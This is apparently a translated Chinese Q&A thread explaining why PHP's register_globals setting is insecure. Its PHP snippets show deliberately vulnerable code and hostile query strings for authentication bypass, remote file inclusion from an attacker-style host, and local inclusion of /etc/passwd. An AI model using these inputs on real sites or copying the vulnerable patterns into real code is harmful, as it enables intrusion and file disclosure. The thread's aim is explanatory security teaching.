为什么REGISTER_GLOBALS如此糟糕?

我不是一个PHP开发人员,但我曾经在几个地方看到人们似乎把它当作瘟疫之类的东西来对待。 为什么?

REGISTER_GLOBALS表示通过GET或POST传递的所有variables都可以作为脚本中的全局variables。 由于访问未声明的variables不是PHP中的错误(这是一个警告),它可能会导致非常讨厌的情况。 考虑这个,例如:

 <?php // $debug = true; if ($debug) { echo "query: $query\n"; } 

本身并不是坏事(精心devise的代码不应该产生警告,因此不应该访问任何可能未声明的variables(并且因为相同的原因不应该需要 REGISTER_GLOBALS )),但是PHP代码通常是非常低的质量,导致这种安全漏洞。

启用REGISTER_GLOBALS可以将PHP提供的网页暴露给一些坏人会热衷利用的漏洞。

启用它后,url末尾的任何查询string:

 http://yourdomain/something.php?valid=true 

将会影响something.php中一个variables$ valid(例如)的值, 如果它存在的话

如果你正在使用公开的PHP代码(例如一个库),variables的名字是众所周知的,黑客可能通过在查询string中赋值来控制它们的值。 他们可能会绕过authentication。

即使你不使用公共代码,也可能猜测重要variables的名字,并控制它们的值。

它曾经是在PHP.INI中启用REGISTER_GLOBALS的默认设置

最近的做法是默认禁用它。 启用它需要您自担风险!

只是补充一下,在这里有一些REGISTER_GLOBALS可能会毁了你的日子的情况:

使用查询string绕过访问控制(使用http://example.com/?logged=1进行破解):;

 <?php $logged = User::getLogged(); if ($logged) { include '/important/secret.php'; } ?> 

远程文件包含(RFI):

 <?php //http://example.com/?path=http://evilbadthings.example.com/ include "$path"; ?> 

本地文件包含(LFI):

 <?php //http://example.com/?path=../../../../etc/passwd include "$path"; ?> 

因为它允许用户无需任何控制地在代码中注入任何全局variables。

基于代码的质量,它可能会引入重大的安全漏洞。

Interesting Posts